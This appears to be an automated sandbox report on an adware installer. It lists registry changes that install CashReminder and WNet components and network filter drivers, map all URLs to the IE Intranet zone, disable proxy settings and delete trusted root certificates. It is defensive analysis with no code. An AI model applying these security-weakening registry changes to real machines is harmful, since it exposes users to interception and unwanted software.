"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B94294BF91EA8FB64BE61097C7FB001359B676CB]
"Blob" = "19 00 00 00 01 00 00 00 10 00 00 00 2E E0 C8 90"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\E5215D3460C2C20BBE2D9FE5FB665DAA2C0E225C]
"Blob" = "04 00 00 00 01 00 00 00 10 00 00 00 6F 7E 74 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\dlmgn\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 E4 DD 86 40 81 C1 18 51 87 0A 3E 5B 2B 60 4C"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C]
"Blob" = "04 00 00 00 01 00 00 00 10 00 00 00 3E 45 52 15"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Installer modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Installer modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Installer modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Installer deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\dlmgn\DEBUG]
"Trace Level"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates]
"B1BC968BD4F49D622AA89A81F2150152A41D829C"
"B94294BF91EA8FB64BE61097C7FB001359B676CB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates]
"E5215D3460C2C20BBE2D9FE5FB665DAA2C0E225C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process aUAekFiG9xfybmhwsn4W6nWSok_cr.exe:816 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2C 89 07 26 E2 3B EE F2 BC 16 3A 02 AA F3 F9 C0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\CashReminder]
"Version" = "2.1.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"Publisher" = "Related Deals LLC"

[HKLM\SOFTWARE\CashReminder]
"affid" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"UninstallString" = "%Program Files%\CashReminder\remove.exe /S"

[HKLM\System\CurrentControlSet\Services\CashReminder]
"Description" = "CashReminder will remind you when you can earn a percent of your money back shopping online and related products with lower prices! (OWKtGxPsSjTJd2AmIYQ2Cbe)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"DisplayName" = "CashReminder"
"Comments" = "CashReminder will remind you when you can earn a percent of your money back shopping online and related products with lower prices! (Build: OWKtGxPsSjTJd2AmIYQ2Cbe)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"DisplayVersion" = "2.1.0"
"QuietUninstallString" = "%Program Files%\CashReminder\remove.exe /S"

The process taskkill.exe:516 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5D 50 BE D1 C8 76 7E 8E 8E D2 0C B5 20 99 0C 8C"

The process net1.exe:2192 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2D E0 D9 F3 D4 51 9A FD 36 BD 6A FF 94 CB 8A 9D"

The process net1.exe:2356 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "79 27 B0 16 19 74 55 06 74 30 0B 80 C5 4D D1 D5"

The process %original file name%.exe:1676 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok]
"aUAekFiG9xfybmhwsn4W6nWSok_mb_1.exe" = "Download da Internet"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BB DD D9 9C 9D 65 67 34 C7 B0 32 57 C7 DD 1F D5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Installer modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Installer modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Installer modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Installer deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nfregdrv.exe:188 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BA 88 0A AC 91 26 B6 F6 04 1D 50 7C D4 63 EA F2"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "08 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

The process net.exe:2176 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 4A 61 8E 90 D8 64 50 33 D7 7A 80 3E AC 94 AC"

The process net.exe:2348 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 0D 8A 23 F5 62 53 0B 7D 53 58 EE 8F F1 EB C2"

The process desprotetor_stp_2.exe:3588 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CF B1 53 E7 B2 CA B5 AF 14 6B 93 A5 33 38 D6 80"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Installer modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Installer modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Installer modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process aUAekFiG9xfybmhwsn4W6nWSok_sol.exe:1056 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 37 18 2E 71 A8 43 89 03 AF D8 58 CF 77 75 0D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process aUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok_br.exe:228 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "42 14 16 32 13 08 F1 53 5E 0E 9E 39 DA F5 AB 9E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\WNet]
"Version" = "2.1.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"Comments" = "The best offers in internet just one click away from you (ID: gII4dmU5m7E2XV9oUsnT54h)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"DisplayVersion" = "2.1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"Publisher" = "BR SOFTWARE LLC"
"DisplayName" = "WNet"
"QuietUninstallString" = "%Program Files%\WNet\uninst.exe"
"UninstallString" = "%Program Files%\WNet\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process WNet.exe:2096 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA 3F 94 75 0E 3D EA 3A E0 6C BE 57 2D 1D F0 0E"

The process WNet.exe:2216 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Services\ssfilterdrv]
"Tag" = "10"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\WNet]
"instid" = "RgX3oPipgrjE3VzsW3H15cqQSJcxbtXr"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "09 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4B 38 38 86 7F 92 09 85 6D 67 E2 71 92 01 11 02"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Installer modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Installer modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Installer modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Installer deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process CashReminder.exe:2300 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 FD BB 29 25 BC DC 2E 7B AB 19 E4 31 1D 35 EC"

The process CashReminder.exe:2364 makes changes in the system registry.
The Installer creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Services\crfilterdrv]
"Tag" = "12"

[HKLM\SOFTWARE\CashReminder]
"instid" = "rZFbFEiC6e4i7g19HMHv7SF8FA117vjl"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "0B 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 52 7F 3C 46 5D 78 37 62 79 65 49 4B 8B 17 62"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Installer modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Installer modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Installer modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Installer deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright: aUAekFiG9x
Legal Trademarks:
Original Filename:
Internal Name: aUAekFiG9xf
File Version:
File Description: Download da Internet
Comments:
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

